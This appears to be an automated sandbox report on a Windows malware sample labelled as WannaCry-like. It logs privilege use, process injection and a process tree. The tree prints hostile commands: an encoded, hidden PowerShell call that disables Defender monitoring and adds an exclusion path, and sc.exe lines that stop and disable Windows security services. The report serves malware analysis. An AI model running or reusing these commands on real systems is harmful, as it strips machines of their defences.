pid Process 1512 schtasks.exe 1584 schtasks.exe 2536 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3704 chrome.exe 3704 chrome.exe 3300 powershell.exe 3300 powershell.exe 3300 powershell.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3300 powershell.exe Token: SeShutdownPrivilege 3704 chrome.exe Token: SeCreatePagefilePrivilege 3704 chrome.exe Token: SeIncreaseQuotaPrivilege 5324 WMIC.exe Token: SeSecurityPrivilege 5324 WMIC.exe Token: SeTakeOwnershipPrivilege 5324 WMIC.exe Token: SeLoadDriverPrivilege 5324 WMIC.exe Token: SeSystemProfilePrivilege 5324 WMIC.exe Token: SeSystemtimePrivilege 5324 WMIC.exe Token: SeProfSingleProcessPrivilege 5324 WMIC.exe Token: SeIncBasePriorityPrivilege 5324 WMIC.exe Token: SeCreatePagefilePrivilege 5324 WMIC.exe Token: SeBackupPrivilege 5324 WMIC.exe Token: SeRestorePrivilege 5324 WMIC.exe Token: SeShutdownPrivilege 5324 WMIC.exe Token: SeDebugPrivilege 5324 WMIC.exe Token: SeSystemEnvironmentPrivilege 5324 WMIC.exe Token: SeRemoteShutdownPrivilege 5324 WMIC.exe Token: SeUndockPrivilege 5324 WMIC.exe Token: SeManageVolumePrivilege 5324 WMIC.exe Token: 33 5324 WMIC.exe Token: 34 5324 WMIC.exe Token: 35 5324 WMIC.exe Token: 36 5324 WMIC.exe Token: SeShutdownPrivilege 3704 chrome.exe Token: SeCreatePagefilePrivilege 3704 chrome.exe Token: SeIncreaseQuotaPrivilege 5324 WMIC.exe Token: SeSecurityPrivilege 5324 WMIC.exe Token: SeTakeOwnershipPrivilege 5324 WMIC.exe Token: SeLoadDriverPrivilege 5324 WMIC.exe Token: SeSystemProfilePrivilege 5324 WMIC.exe Token: SeSystemtimePrivilege 5324 WMIC.exe Token: SeProfSingleProcessPrivilege 5324 WMIC.exe Token: SeIncBasePriorityPrivilege 5324 WMIC.exe Token: SeCreatePagefilePrivilege 5324 WMIC.exe Token: SeBackupPrivilege 5324 WMIC.exe Token: SeRestorePrivilege 5324 WMIC.exe Token: SeShutdownPrivilege 5324 WMIC.exe Token: SeDebugPrivilege 5324 WMIC.exe Token: SeSystemEnvironmentPrivilege 5324 WMIC.exe Token: SeRemoteShutdownPrivilege 5324 WMIC.exe Token: SeUndockPrivilege 5324 WMIC.exe Token: SeManageVolumePrivilege 5324 WMIC.exe Token: 33 5324 WMIC.exe Token: 34 5324 WMIC.exe Token: 35 5324 WMIC.exe Token: 36 5324 WMIC.exe Token: SeBackupPrivilege 1684 vssvc.exe Token: SeRestorePrivilege 1684 vssvc.exe Token: SeAuditPrivilege 1684 vssvc.exe Token: SeShutdownPrivilege 3704 chrome.exe Token: SeCreatePagefilePrivilege 3704 chrome.exe Token: SeShutdownPrivilege 3704 chrome.exe Token: SeCreatePagefilePrivilege 3704 chrome.exe Token: SeShutdownPrivilege 3704 chrome.exe Token: SeCreatePagefilePrivilege 3704 chrome.exe Token: SeShutdownPrivilege 3704 chrome.exe Token: SeCreatePagefilePrivilege 3704 chrome.exe Token: SeDebugPrivilege 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 3704 chrome.exe Token: SeCreatePagefilePrivilege 3704 chrome.exe Token: SeIncBasePriorityPrivilege 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeDebugPrivilege 3552 NETSTAT.EXE Token: SeDebugPrivilege 6040 tasklist.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe - Suspicious use of SendNotifyMessage 16 IoCs
pid Process 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe 3704 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 396 wrote to memory of 3704 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 80 PID 3704 wrote to memory of 1764 3704 chrome.exe 81 PID 396 wrote to memory of 3300 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 82 PID 396 wrote to memory of 3892 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 84 PID 396 wrote to memory of 4508 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 86 PID 396 wrote to memory of 4716 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 88 PID 396 wrote to memory of 1932 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 90 PID 396 wrote to memory of 2132 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 92 PID 396 wrote to memory of 5072 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 94 PID 396 wrote to memory of 5680 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 96 PID 396 wrote to memory of 4116 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 98 PID 396 wrote to memory of 3888 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 100 PID 3704 wrote to memory of 5504 3704 chrome.exe 101 PID 3704 wrote to memory of 5504 3704 chrome.exe 101 PID 3704 wrote to memory of 5744 3704 chrome.exe 102 PID 3704 wrote to memory of 1544 3704 chrome.exe 103 PID 3704 wrote to memory of 1544 3704 chrome.exe 103 PID 3704 wrote to memory of 6084 3704 chrome.exe 105 PID 3704 wrote to memory of 6116 3704 chrome.exe 106 PID 3704 wrote to memory of 6084 3704 chrome.exe 105 PID 3704 wrote to memory of 6116 3704 chrome.exe 106 PID 396 wrote to memory of 5536 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 108 PID 3704 wrote to memory of 5352 3704 chrome.exe 109 PID 3704 wrote to memory of 5352 3704 chrome.exe 109 PID 396 wrote to memory of 2116 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 111 PID 396 wrote to memory of 4792 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 113 PID 396 wrote to memory of 5324 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 115 PID 3704 wrote to memory of 3228 3704 chrome.exe 117 PID 3704 wrote to memory of 3228 3704 chrome.exe 117 PID 3888 wrote to memory of 4712 3888 fodhelper.exe 121 PID 396 wrote to memory of 4632 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 122 PID 396 wrote to memory of 1512 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 123 PID 396 wrote to memory of 1584 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 125 PID 396 wrote to memory of 5704 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 130 PID 396 wrote to memory of 5948 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 132 PID 396 wrote to memory of 3880 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 133 PID 396 wrote to memory of 5496 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 134 PID 396 wrote to memory of 4452 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 135 PID 396 wrote to memory of 3836 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 136 PID 396 wrote to memory of 4796 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 396 wrote to memory of 2536 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 138 PID 396 wrote to memory of 1784 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 146 PID 4796 wrote to memory of 3552 4796 cmd.exe 172 PID 5948 wrote to memory of 5632 5948 cmd.exe 148 PID 5704 wrote to memory of 3424 5704 cmd.exe 149 PID 3836 wrote to memory of 1276 3836 cmd.exe 150 PID 4452 wrote to memory of 5860 4452 cmd.exe 151 PID 3880 wrote to memory of 6040 3880 cmd.exe 152 PID 5496 wrote to memory of 4868 5496 cmd.exe 153 PID 5860 wrote to memory of 4168 5860 net.exe 154 PID 5704 wrote to memory of 3436 5704 cmd.exe 155 PID 396 wrote to memory of 5944 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 156 PID 3704 wrote to memory of 464 3704 chrome.exe 159 PID 396 wrote to memory of 4336 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 160 PID 396 wrote to memory of 3108 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 161 PID 396 wrote to memory of 5648 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 164 PID 396 wrote to memory of 3284 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 166 PID 396 wrote to memory of 5904 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 168 PID 396 wrote to memory of 2168 396 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe 169 PID 5648 wrote to memory of 3552 5648 net.exe 172 PID 3704 wrote to memory of 3512 3704 chrome.exe 173 PID 3704 wrote to memory of 2576 3704 chrome.exe 174 PID 3704 wrote to memory of 4832 3704 chrome.exe 175 PID 3704 wrote to memory of 612 3704 chrome.exe 180 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:396 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://philostv.com2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa18ddc728,0x7ffa18ddc734,0x7ffa18ddc7403⤵PID:1764
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1580,i,6211965257852087012,14489804149331254187,262144 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1940 /prefetch:23⤵PID:5504
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1448,i,8140639975209376080,14886204303015405777,524288 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2240 /prefetch:113⤵
- System Time Discovery
PID:5744
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2324,i,17025072738046606347,2580087438701788768,524288 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2476 /prefetch:133⤵PID:1544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3192,i,4763040018738260679,18037533124980068141,2097152 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3336 /prefetch:13⤵PID:6084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3200,i,1470769632485020645,8413080127104639305,2097152 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3356 /prefetch:13⤵PID:6116
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4304,i,14349557228378273781,3355932203637272206,2097152 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4308 /prefetch:93⤵PID:5352
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4708,i,10313006925748111361,282753528964545594,2097152 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4732 /prefetch:13⤵PID:3228
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5644,i,1725439476418618349,7748354212978713954,524288 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4580 /prefetch:143⤵PID:464
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3496,i,15039260813931127383,4709516251892536602,524288 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3468 /prefetch:143⤵PID:3512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3492,i,1010649708212233408,11793847023828300320,524288 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5680 /prefetch:143⤵PID:2576
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3508,i,9101544397041768603,1922388339051009736,524288 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3464 /prefetch:143⤵PID:4832
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4428,i,5050206167309800825,2440442676912387669,262144 --field-trial-handle=1944,i,4924720218089286847,18408167312236193061,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4304 /prefetch:103⤵PID:612
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3300
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3892
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4508
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4716
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:1932
-
-
